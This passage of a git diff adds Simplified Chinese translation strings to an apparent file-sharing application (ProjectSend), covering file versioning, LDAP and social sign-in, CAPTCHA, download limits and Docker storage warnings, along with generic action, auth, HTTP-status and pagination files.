评论了“:name”。", + ":author commented on \":name\"": ":author 评论了“:name”", + "Read the comment": "查看评论", + ":count new comments": ":count 条新评论", + "There are :count new comments for you:": "你有 :count 条新评论:", + "Someone": "某人", + "New comment on a file": "文件收到新评论", + "Multiple new comments (digest)": "多条新评论(摘要)", + "Marked the file \":subject\" as a revision of \":previous\"": "把文件“:subject”标记为“:previous”的新版本", + "Removed the version link from the file \":subject\"": "解除了文件“:subject”的版本关联", + "A file was marked as a revision of another": "有文件被标记为另一个文件的新版本", + "A file version link was removed": "版本关联已解除", + "A newer version of a file I have is available": "我拥有的文件有了新版本", + "A newer version of \":previousName\" is available: :itemName": "“:previousName”有了新版本::itemName", + "A newer version of a file you have is available": "你拥有的文件有了新版本", + "\":previous\" has been replaced by a newer version: \":name\".": "“:previous”已被新版本“:name”取代。", + ":count files you have were replaced by newer versions": "你拥有的 :count 个文件已被新版本取代", + "Newer versions of the following :count files are available:": "以下 :count 个文件已有新版本:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "文件不能作为自身的新版本。", + "That file is already part of this file's version history.": "该文件已在此文件的版本历史中。", + "That file has already been revised by \":name\". Remove that link first.": "该文件已被“:name”取代,请先解除那个关联。", + "That file has just been revised by another file. Reload and try again.": "该文件刚刚被另一个文件取代,请刷新后重试。", + "This version history is too long. Remove an older link first.": "此版本历史过长,请先解除一个较早的关联。", + "That file can't be used as the previous version.": "该文件不能作为上一个版本。", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "此文件已共享给其他人,因此无法标记为新版本。请让你的联系人代为处理。", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "此文件是“:name”的新版本。请到“:name”管理共享设置——所有版本都跟随它。", + "This file is a new version of another file, and is shared with the same people as that one.": "此文件是另一个文件的新版本,共享对象与那个文件相同。", + "Versions": "版本", + "Mark this file as a newer version of something you uploaded before.": "把此文件标记为你此前上传内容的新版本。", + "This version is outdated": "此版本已过时", + "It was replaced by \":name\".": "它已被“:name”取代。", + "This file is a new version of": "此文件是以下内容的新版本:", + "Remove link": "解除关联", + "Mark as a new version": "标记为新版本", + "Version history": "版本历史", + "Version link removed.": "版本关联已解除。", + "This file is now marked as a new version of \":name\".": "此文件现已标记为“:name”的新版本。", + "Share this file's recipients with the original?": "把此文件的共享对象也加到原文件上吗?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "新版本的共享对象与原文件一致。为避免有人失去访问权限,此文件的以下共享对象将被加入原文件:", + "No other files are available to link to.": "没有其他可关联的文件。", + "Shared through \":name\"": "通过“:name”共享", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "此文件是“:name”的新版本,因此共享对象与其一致。要更改可见范围,需要改动那个文件。", + "Edit sharing on \":name\"": "编辑“:name”的共享设置", + "You don't have permission to change who that file is shared with.": "你没有权限更改该文件的共享对象。", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "这是“:name”的新版本,共享对象与其一致。请到那个文件管理共享设置。", + "New version of": "新版本对应", + "Replaced by": "已被取代为", + "Outdated": "已过时", + "New version": "新版本", + "Replaced by :name": "已被 :name 取代", + "Replaces :name": "取代 :name", + "There is a newer version of this file": "此文件已有更新的版本", + "This replaces": "此文件取代", + "This is a new version of a file I uploaded before": "这是我此前上传的某个文件的新版本", + "Search your files…": "搜索你的文件…", + "You have no earlier files that can be replaced.": "你没有可被取代的早期文件。", + "This file will be shared with the same people who have \":name\".": "此文件将共享给拥有“:name”的同一批人。", + ":name (group)": ":name(群组)", + "Search files…": "搜索文件…", + "Search…": "搜索…", + "Searching…": "正在搜索…", + "No files match \":search\".": "没有与“:search”匹配的文件。", + "Nothing matches \":search\".": "没有与“:search”匹配的内容。", + "A client account was converted to staff": "客户账户已转为团队账户", + "A staff account was converted to a client": "团队账户已转为客户账户", + "A client account was created from the directory": "已从目录服务创建客户账户", + "Converted the client account \":subject\" to staff (:role)": "把客户账户“:subject”转为了团队账户(:role)", + "Converted the staff account \":subject\" to a client": "把团队账户“:subject”转为了客户账户", + "Created a client account from the directory on first sign-in": "首次登录时从目录服务创建了客户账户", + "Convert accounts": "转换账户", + "Convert": "转换", + "Convert to client": "转为客户", + "Convert to staff": "转为团队账户", + "Convert :name to a client": "把 :name 转为客户", + "Convert :name to staff": "把 :name 转为团队账户", + "Client → staff": "客户 → 团队", + "Staff → client": "团队 → 客户", + "Move an account between staff and clients. Files they uploaded are always kept.": "在团队与客户之间转换账户。其上传的文件始终保留。", + "They lose access to every staff screen immediately.": "会立即失去对所有团队页面的访问权限。", + "They gain access to the staff screens their role allows.": "会获得角色所允许的团队页面访问权限。", + "Will be revoked": "将被收回", + "Will be revoked and cannot be undone": "将被收回,且无法恢复", + "Will be kept": "将会保留", + "Nothing": "无", + "Nothing to keep": "没有需要保留的内容", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "转换回来会恢复“将会保留”下的全部内容,但不会恢复已被收回的部分。", + ":files files and :folders folders they uploaded": "该账户上传的 :files 个文件和 :folders 个文件夹", + "No accounts match these filters.": "没有符合这些筛选条件的账户。", + "Account converted to a client.": "账户已转为客户。", + "Account converted to staff.": "账户已转为团队账户。", + "Approve or deny this account request before converting it.": "请先通过或拒绝此账户申请,然后再进行转换。", + "You cannot convert your own account.": "你不能转换自己的账户。", + "New password": "新密码", + "New password (optional)": "新密码(可选)", + "Leave blank to keep their current password.": "留空表示保持当前密码不变。", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "此账户通过你的目录服务登录。团队账户从不使用目录服务,因此必须在此设置密码,否则将完全无法登录。", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "请为此账户设置密码。它目前通过你的目录服务登录,而团队账户从不使用目录服务。", + "Tokens created": "已创建的令牌", + "Currently active": "当前有效", + ":count active": ":count 个有效", + "1 permission": "1 项权限", + ":count permissions": ":count 项权限", + "This token carries no permissions.": "此令牌不带任何权限。", + "This account has created API tokens before, but none are live now.": "此账户此前创建过 API 令牌,但目前都已失效。", + "This account has never created an API token.": "此账户从未创建过 API 令牌。", + "No longer granted to this account, so it does nothing.": "已不再授予此账户,因此不起任何作用。", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "只有 :name 才能创建、修改或吊销这些令牌——管理员可以查看,但无法管理。", + "What this token is allowed to do through the API. It can never do more than :name may.": "此令牌通过 API 可执行的操作。它的权限永远不会超过 :name 本人。", + "LDAP": "LDAP", + "LDAP settings": "LDAP 设置", + "LDAP settings saved.": "LDAP 设置已保存。", + "Directory": "目录服务", + "Connection": "连接", + "Server": "服务器", + "Base DN": "Base DN", + "Service account DN": "服务账户 DN", + "Service account password": "服务账户密码", + "Email attribute": "邮箱属性", + "Name attribute": "姓名属性", + "Additional filter (optional)": "附加过滤条件(可选)", + "CA certificate path (optional)": "CA 证书路径(可选)", + "None (unencrypted)": "无(不加密)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS(隐式 TLS)", + "Allow clients to sign in with a directory account": "允许客户使用目录账户登录", + "Let clients sign in with their directory account. Staff always authenticate locally.": "允许客户使用自己的目录账户登录。团队成员始终在本地验证。", + "Create an account on first sign-in": "首次登录时创建账户", + "Directory accounts are always created as clients, never as staff.": "来自目录服务的账户始终创建为客户,绝不会成为团队成员。", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "目录中存在但在此没有账户的人,会获得一个客户账户并立即登录。", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "目录中存在但在此没有账户的人,会获得一个客户账户,并在“账户申请”中等待审批。", + "Only people who already have an account here can sign in.": "只有在此已有账户的人才能登录。", + "Combined with the address match, to narrow who may sign in.": "与邮箱匹配条件结合使用,进一步限定可登录的人员范围。", + "The attribute holding the address people sign in with — usually mail.": "存放登录邮箱地址的属性,通常是 mail。", + "Where in the tree to look for people.": "在目录树的哪个位置查找人员。", + "Leave blank to search anonymously.": "留空表示匿名搜索。", + "Stored encrypted, and never shown again.": "加密存储,且不会再次显示。", + "Stored encrypted. Leave blank to keep the current one.": "加密存储。留空表示保持当前值不变。", + "For a directory presenting a certificate from your own certificate authority.": "适用于使用自建证书颁发机构签发证书的目录服务。", + "Unencrypted: the service account password and every client password cross the network in clear text.": "不加密:服务账户密码和每位客户的密码都会以明文在网络中传输。", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "当客户密码在本地无法验证时,会转向目录服务核对。团队账户始终在本地验证,绝不会发送到目录服务。", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "本服务器未安装 PHP LDAP 扩展,因此这些设置无法生效。", + "The PHP LDAP extension is not installed on this server.": "本服务器未安装 PHP LDAP 扩展。", + "Saves are not required to test — but the test uses the settings as last saved.": "测试前无需保存,但测试使用的是上次保存的设置。", + "Test a sign-in": "测试登录", + "Email address (optional)": "邮箱地址(可选)", + "Password (optional)": "密码(可选)", + "Connected and bound as the service account.": "已连接并以服务账户完成绑定。", + "Could not connect or bind as the service account: :error": "无法连接或以服务账户绑定::error", + "Found a matching entry.": "已找到匹配的条目。", + "No directory entry matched that address under the base DN.": "在 Base DN 下没有与该地址匹配的目录条目。", + "The directory rejected that password.": "目录服务拒绝了该密码。", + "The search failed: :error": "搜索失败::error", + "The sign-in bind failed: :error": "登录绑定失败::error", + "Signed in successfully.": "登录成功。", + "1 item": "1 个项目", + ":count items": ":count 个项目", + "1 API token": "1 个 API 令牌", + ":count API tokens": ":count 个 API 令牌", + "1 assigned client": "1 个负责的客户", + ":count assigned clients": ":count 个负责的客户", + "Managed by 1 staff member": "由 1 位团队成员负责", + "Managed by :count staff members": "由 :count 位团队成员负责", + "1 group membership": "1 个群组成员身份", + ":count group memberships": ":count 个群组成员身份", + "1 file shared with them": "共享给他们的 1 个文件", + ":count files shared with them": "共享给他们的 :count 个文件", + "Approve these accounts automatically": "自动通过这些账户", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "目录服务已经确认了他们的身份,因此无需再行审查。若想先在“账户申请”中逐个查看,请保持关闭。", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "自行注册的客户会自动通过——此设置与之相互独立,不受其影响。", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "自行注册的客户仍需等待审批——此设置与之相互独立,不会改变这一点。", + "Container filesystem": "容器文件系统", + "Docker volume": "Docker 卷", + "Files stored on": "文件存储位置", + "Host directory": "宿主机目录", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "也就是说,docker compose down -v 和 docker volume prune 都会删除它们,而服务器备份可能完全遗漏这些文件。", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "它们不在任何卷上,因此重建或重新创建此容器会永久删除所有文件。请先把它们移到宿主机上的目录,再继续上传其他内容。", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "它们能在升级后保留,但存放在由 Docker 管理的卷中,而不是你自行指定的目录。", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "它们能在升级后保留,但存放在 Docker 卷 :volume 中,而不是你自行指定的目录。", + "Uploaded files are inside Docker": "上传的文件位于 Docker 内部", + "Uploaded files are stored inside the container": "上传的文件保存在容器内部", + "1 more language available": "还有 1 种语言可用", + ":count more languages available": "还有 :count 种语言可用", + ":left of :limit downloads left": "剩余 :left 次下载,共 :limit 次", + ":limit downloads per person": "每人 :limit 次下载", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name 在重新设置之前将仅使用密码登录,并会收到有关此更改的电子邮件。如果本站点要求两步验证,下次登录时将要求重新注册。", + ":provider accepted your secret key.": ":provider 已接受你的密钥。", + ":provider connected.": "已连接 :provider。", + ":provider did not provide an email address, which is required to sign in.": ":provider 未提供登录所需的电子邮件地址。", + ":provider disconnected.": "已断开 :provider。", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider 从不报告某个地址是否已验证,因此启用此项后它可以创建新账户,但永远无法登录到已存在的账户。在已登录的情况下从“设置”中连接仍然有效。", + ":provider rejected your secret key.": ":provider 已拒绝你的密钥。", + ":provider settings saved.": "已保存 :provider 设置。", + ":used of :limit downloads used": "已使用 :used 次下载,共 :limit 次", + "A :provider account was connected": "已连接一个 :provider 账户", + "A :provider account was disconnected": "已断开一个 :provider 账户", + "Accounts at :domain cannot sign in with :provider here.": ":domain 的账户无法在此使用 :provider 登录。", + "A client account was created from :provider": "已通过 :provider 创建一个客户账户", + "Allowed email domains": "允许的电子邮件域", + "Allow signing in with :provider": "允许使用 :provider 登录", + "Always a client account. Staff accounts are only ever created by an administrator.": "始终是客户账户。员工账户只能由管理员创建。", + "Always available — the application is written in English, so it needs no translation file.": "始终可用——应用程序以英语编写,因此不需要翻译文件。", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "已有一个账户使用此电子邮件地址,而 :provider 未确认它属于你。请改用密码登录,并从你的设置中连接 :provider。", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "提供方未确认的地址永远无法与这里已存在的账户匹配。关闭此项意味着任何能在你的提供方以他人地址注册的人都可以冒充其身份登录。", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "管理员已从你的账户中移除两步验证。你可以在安全设置中重新设置。如果这不在预期之内,请联系你的管理员。", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "任何能访问某个文件的人都会看到分配给它的类别——门户中的客户,或持有公开或共享链接的任何人。已登录的客户还可以按此列表中的任意类别筛选自己的文件。只有你的团队才能创建、重命名或删除它们。", + "Applies whenever a password is chosen, not when one is used to sign in": "在每次选择密码时生效,而不是在使用密码登录时", + "Approve those accounts automatically": "自动批准这些账户", + "A secret is stored. Leave this blank to keep it.": "已存储一个密钥。留空以保留它。", + "At least :count characters.": "至少 :count 个字符。", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "介于 0.0(将所有人视为机器人)和 1.0(将所有人视为人类)之间。常用值为 0.5。", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA 当前已关闭。选择一个提供方并输入其密钥即可开启。", + "CAPTCHA settings saved.": "已保存 CAPTCHA 设置。", + "Categories are visible outside your team": "类别在你的团队之外可见", + "Change yours": "更改你的", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "对照 Have I Been Pwned 泄露数据库检查新密码。密码本身永远不会离开此服务器——只发送其哈希的前五个字符。", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "向你的提供方核对密钥。无需任何人完成验证。", + "Client ID": "客户端 ID", + "Client registration": "客户注册", + "Client secret": "客户端密钥", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "以逗号分隔。留空以允许任何地址。", + "Comments from visitors": "访客的评论", + "Complete the security check and try again.": "完成安全检查后重试。", + "Configure it myself": "由我自行配置", + "Connected": "已连接", + "Connected accounts": "已连接的账户", + "Connected the :provider account of \":subject\"": "已连接“:subject”的 :provider 账户", + "Continue with :provider": "使用 :provider 继续", + "Could not reach :provider: :error": "无法连接 :provider::error", + "Created a client account from :provider on first sign-in": "首次登录时通过 :provider 创建了一个客户账户", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "整个应用中的日期和时间均以此时区显示。首次登录时从你的浏览器检测得到。", + "Default language": "默认语言", + "Directory (tenant) ID": "目录(租户)ID", + "Disabled": "已禁用", + "Disconnect": "断开", + "Disconnected the :provider account of \":subject\"": "已断开“:subject”的 :provider 账户", + "Downloaded :count time(s) so far. Your own downloads never count.": "至今已下载 :count 次。你自己的下载从不计入。", + "Download limit": "下载上限", + "Download limit reached": "已达到下载上限", + "Each person separately": "每个人分别计算", + "Enabled": "已启用", + "Enter a secret key first.": "请先输入密钥。", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "请输入特定的租户 ID。共享的“common”“organizations”和“consumers”端点会让任何 Microsoft 租户都可以声称任何电子邮件地址。", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "此服务器上安装的所有语言均列在下方。勾选你希望在语言菜单中提供的语言——员工、客户和公开访客只会看到这些。安装另一种语言只需将其翻译文件添加到 lang 文件夹即可。", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "现有密码永远不会被重新检查,因此提高此值只会影响此后选择的密码。", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "所有人的总计", + "Issuer URL": "颁发者 URL", + "Languages": "语言", + "Language settings": "语言设置", + "Leave empty for a file that can be downloaded any number of times.": "留空表示该文件可下载任意次数。", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "长度是决定密码有多难被猜到的最大因素,这也是这里没有“必须包含大写字母”之类规则的原因——那些规则会促使人们采用可预测的替换和更短的密码。", + "Let people sign in with an account they already have somewhere else.": "让人们使用他们在别处已有的账户登录。", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "最小长度", + "No limit": "无上限", + "None selected": "未选择任何项", + "No sign-in providers have been set up for this site.": "尚未为此站点设置任何登录提供方。", + "Not connected": "未连接", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "关闭表示他们在“账户请求”中等待。提供方未验证的地址无论此项如何设置都会一直等待。", + "Off — no CAPTCHA": "关闭——无 CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "或使用以下方式继续", + "Or sign up with": "或使用以下方式注册", + "Passwords": "密码", + "Passwords that appear in known data breaches are not accepted.": "出现在已知数据泄露中的密码不予接受。", + "Protection": "防护", + "Protect these forms": "保护这些表单", + "Protect your public forms from automated abuse": "保护你的公开表单免受自动化滥用", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "重定向 URI", + "Register this exact address with :provider. It must match character for character.": "在 :provider 中注册与此完全一致的地址。必须逐字符匹配。", + "Reject passwords found in known data breaches": "拒绝在已知数据泄露中出现的密码", + "Removed two-factor authentication from \":subject\"": "已从“:subject”移除两步验证", + "Remove the limit": "移除上限", + "Remove two-factor authentication": "移除两步验证", + "Remove two-factor authentication?": "移除两步验证?", + "Require a verified email address": "要求经过验证的电子邮件地址", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "以你的 Web 服务器所用的用户身份运行这些命令。完整步骤见 INSTALL.md。", + "Score threshold": "分数阈值", + "Search timezones…": "搜索时区…", + "Security check failed. Please try again.": "安全检查失败。请重试。", + "Service": "服务", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "为此账户设置密码。它从未有过密码——它通过已连接的提供方登录,而员工账户需要一个本应用程序能够自行核对的凭据。", + "Signed-in visitors are never asked to solve a challenge when commenting.": "已登录的访客在评论时永远不会被要求完成验证。", + "Sign in": "登录", + "Sign in with an account you already have somewhere else.": "使用你在别处已有的账户登录。", + "Site key": "站点密钥", + "Social login": "社交登录", + "Stored encrypted and never shown again, not even to you.": "以加密方式存储,且不再显示,即使对你也是如此。", + "Stored — leave blank to keep it": "已存储——留空以保留它", + "Testing…": "正在测试…", + "Test keys": "测试密钥", + "That :provider account is already connected to another account here.": "该 :provider 账户已在此连接到另一个账户。", + "That sign-in could not be completed. Please try again.": "无法完成该登录。请重试。", + "That sign-in method is not available.": "该登录方式不可用。", + "The default language has to be one of the languages you are offering.": "默认语言必须是你所提供的语言之一。", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "端点从此地址读取,因此它就是全部配置。必须为 https。", + "The expiry date must be in the future.": "到期日期必须在将来。", + "The issuer URL must start with https://.": "颁发者 URL 必须以 https:// 开头。", + "The public key. It appears in your pages’ source, which is expected.": "公钥。它会出现在你页面的源代码中,这是正常的。", + "There is no account here for that address.": "此处没有对应该地址的账户。", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "无法加载安全检查。请检查你的浏览器或网络是否正在拦截它,然后重新加载页面。", + "This account does not use an authenticator app.": "此账户未使用身份验证器应用。", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "此账户从未有过自己的密码——它通过已连接的提供方登录。员工需要一个本应用程序能够自行核对的凭据,以便提供方发生故障时不会将其拒之门外。", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "此账户使用身份验证器应用登录。仅当账户持有者同时丢失了该应用和恢复码时才将其移除。", + "This file has reached its download limit.": "此文件已达到其下载上限。", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "这是你唯一的登录方式。请先设置密码,然后再断开 :provider。", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "本站点受 reCAPTCHA 保护,并适用 Google 隐私政策和服务条款。", + "Those files have reached their download limit.": "这些文件已达到其下载上限。", + "Timezone": "时区", + "To update, back up your database and files, then:": "如需更新,请备份你的数据库和文件,然后:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "如需更新,请按照 INSTALL.md 中的步骤——先备份,然后解压发行版并运行迁移。", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "仅当此服务器不应发出任何出站请求时才关闭此项。如果无法连接该服务,密码仍会被接受,因此离线安装永远不会因此被阻止。", + "Two-factor authentication removed.": "已移除两步验证。", + "Two-factor authentication removed by an admin": "两步验证已被管理员移除", + "Two-factor authentication was removed by an administrator": "两步验证已被一名管理员移除", + "Two-factor authentication was removed from your account": "已从你的账户中移除两步验证", + "Unexpected reply from :provider: :codes": "来自 :provider 的意外响应::codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "用于任何未选择自己时区的人,包括你的公开页面和共享链接的访客。每个账户都可以在其个人资料中设置自己的时区。", + "Use ProjectSend’s protection": "使用 ProjectSend 的防护", + "Use your own reCAPTCHA or Turnstile account.": "使用你自己的 reCAPTCHA 或 Turnstile 账户。", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "最近无法连接验证服务,因此受保护的表单正被不加检查地放行。没有人被拒之门外。", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "我们为你保护公开表单。无需设置,也无需管理任何密钥。", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "人们在做出任何选择之前所看到的内容。已登录的账户会保留自己的选择,而浏览器请求上述某种语言的访客会得到该语言——这是对其他所有人的答复。", + "Which languages people can choose from": "人们可以从哪些语言中选择", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "你的账户是通过其中一个提供方创建的,没有自己的密码,因此无法移除最后一个连接。如果要断开它,请先设置密码。", + "Your own account is set to :timezone, so this will not change how dates look to you.": "你自己的账户设置为 :timezone,因此这不会改变日期对你显示的方式。", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "你自己的租户,而不是“common”。Microsoft 允许用户更改其账户上的电子邮件地址,因此只有当令牌来自你在此指定的租户时,登录才是可信的。", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "你的提供方拒绝了此安装的密钥,因此受保护的表单正被不加检查地放行。请检查下方的密钥。", + "Your public forms are protected. You can switch to your own keys at any time.": "你的公开表单已受到保护。你可以随时切换到自己的密钥。" +} diff --git a/lang/zh_CN/actions.php b/lang/zh_CN/actions.php new file mode 100644 index 00000000..259318c5 --- /dev/null +++ b/lang/zh_CN/actions.php @@ -0,0 +1,119 @@ + '接受', + 'action' => '行动', + 'actions' => '行动', + 'add' => '添加', + 'admin' => '管理员', + 'agree' => '同意', + 'archive' => '档案', + 'assign' => '分配', + 'associate' => '联系', + 'attach' => '附', + 'browse' => '浏览', + 'cancel' => '取消', + 'choose' => '选择', + 'choose_file' => '选择文件', + 'choose_image' => '选择图片', + 'click_to_copy' => '点击复制', + 'close' => '关闭', + 'collapse' => '收缩', + 'collapse_all' => '全部收缩', + 'comment' => '评论', + 'confirm' => '确认', + 'connect' => '连接', + 'create' => '创建', + 'delete' => '删除', + 'detach' => '分离', + 'details' => '细节', + 'disable' => '禁用', + 'discard' => '丢弃', + 'done' => '完成', + 'down' => '向下', + 'duplicate' => '复制', + 'edit' => '编辑', + 'enable' => '启用', + 'expand' => '展开', + 'expand_all' => '展开全部', + 'explanation' => '解释', + 'export' => '导出', + 'file' => '文件', + 'files' => '文件', + 'go_home' => '回家', + 'hide' => '隐藏', + 'home' => '家', + 'image' => '图像', + 'impersonate' => '模仿', + 'impersonation' => '冒充', + 'import' => '导入', + 'introduction' => '介绍', + 'like' => '喜欢', + 'load' => '加载', + 'localize' => '本地化', + 'log_in' => '登录', + 'log_out' => '登出', + 'named' => [ + 'add' => '添加 :name', + 'choose' => '选择:name', + 'create' => '创建 :name 个', + 'delete' => '删除 :name 个', + 'duplicate' => '重复:名称', + 'edit' => '编辑:name', + 'export' => '导出 :name', + 'hide' => '隐藏 :name', + 'import' => '导入 :name', + 'new' => '新 :name', + 'restore' => '恢复:name', + 'save' => '保存 :name', + 'search' => '搜索 :name', + 'show' => '显示 :name', + 'update' => '更新:name', + 'view' => '查看 :name', + ], + 'new' => '新的', + 'no' => '不', + 'open' => '打开', + 'open_website' => '在网站上打开', + 'preview' => '预览', + 'price' => '价格', + 'record' => '记录', + 'restore' => '恢复', + 'save' => '保存', + 'save_and_close' => '保存并关闭', + 'save_and_return' => '保存并返回', + 'search' => '搜索', + 'select' => '选择', + 'select_all' => '全选', + 'send' => '发送', + 'settings' => '设置', + 'show' => '显示', + 'show_all' => '显示所有', + 'sign_in' => '登入', + 'solve' => '解决', + 'start' => '开始', + 'stop' => '停止', + 'submit' => '提交', + 'subscribe' => '订阅', + 'switch' => '切换', + 'switch_to_role' => '切换角色', + 'tag' => '标签', + 'tags' => '标签', + 'target_link' => [ + 'blank' => '在新窗口中打开', + 'parent' => '在父框架中打开', + 'self' => '在当前窗口中打开', + 'top' => '在最上面的框架中打开', + ], + 'translate' => '翻译', + 'translate_it' => '翻译它', + 'unpack' => '打开', + 'unsubscribe' => '退订', + 'up' => '向上', + 'update' => '更新', + 'user' => '用户', + 'view' => '查看', + 'yes' => '是的', +]; diff --git a/lang/zh_CN/auth.php b/lang/zh_CN/auth.php new file mode 100644 index 00000000..c5e8262d --- /dev/null +++ b/lang/zh_CN/auth.php @@ -0,0 +1,9 @@ + '用户名或密码错误。', + 'password' => '密码错误', + 'throttle' => '您尝试的登录次数过多,请 :seconds 秒后再试。', +]; diff --git a/lang/zh_CN/http-statuses.php b/lang/zh_CN/http-statuses.php new file mode 100644 index 00000000..f9e31d43 --- /dev/null +++ b/lang/zh_CN/http-statuses.php @@ -0,0 +1,84 @@ + '未知错误', + '100' => '继续请求', + '101' => '切换协议', + '102' => '处理中', + '200' => '请求成功', + '201' => '已创建', + '202' => '已接受', + '203' => '非权威信息', + '204' => '无内容', + '205' => '重置内容', + '206' => '部分内容', + '207' => '多状态', + '208' => '已上报', + '226' => 'IM已使用', + '300' => '多种选择', + '301' => '已永久移动', + '302' => '临时移动', + '303' => '见其他', + '304' => '未修改', + '305' => '使用代理', + '307' => '临时重定向', + '308' => '永久重定向', + '400' => '请求错误', + '401' => '未授权', + '402' => '需要付款', + '403' => '禁止', + '404' => '未找到', + '405' => '方法不允许', + '406' => '无法接受', + '407' => '需要代理验证', + '408' => '请求超时', + '409' => '冲突', + '410' => '不可用', + '411' => '长度要求', + '412' => '前提条件未满足', + '413' => '请求实体过大', + '414' => 'URI太长了', + '415' => '不支持的媒体类型', + '416' => '请求范围不符合', + '417' => '期望不满足', + '418' => '我是一个茶壶', + '419' => '会话已过期', + '421' => '错误的请求', + '422' => '不可处理的实体', + '423' => '锁定', + '424' => '失败的依赖', + '425' => '太早了', + '426' => '需要升级', + '428' => '前提要求', + '429' => '请求太多', + '431' => '请求标头字段太大', + '444' => '连接关闭无响应', + '449' => '重试', + '451' => '法律原因不可用', + '499' => '客户端关闭请求', + '500' => '内部服务器错误', + '501' => '未实现', + '502' => '网关错误', + '503' => '服务不可用', + '504' => '网关超时', + '505' => 'HTTP版本不支持', + '506' => '变体协商', + '507' => '存储空间不足', + '508' => '检测到环路', + '509' => '超出带宽限制', + '510' => '未延期', + '511' => '需要网络验证', + '520' => '未知错误', + '521' => 'Web服务器已关闭', + '522' => '连接超时', + '523' => '原点无法到达', + '524' => '发生超时', + '525' => 'SSL握手失败', + '526' => '无效的SSL证书', + '527' => '轨道炮错误', + '598' => '网络读取超时', + '599' => '网络连接超时', + 'unknownError' => '未知错误', +]; diff --git a/lang/zh_CN/pagination.php b/lang/zh_CN/pagination.php new file mode 100644 index 00000000..d6a5dd02 --- /dev/null +++ b/lang/zh_CN/pagination.php @@ -0,0 +1,8 @@ + '下一页 »', + 'previous' => '« 上一页', +]; diff --git a/lang/zh_CN/passwords.php b/lang/zh_CN/passwords.php new file mode 100644 index 00000000..928ff00c --- /dev/null +++ 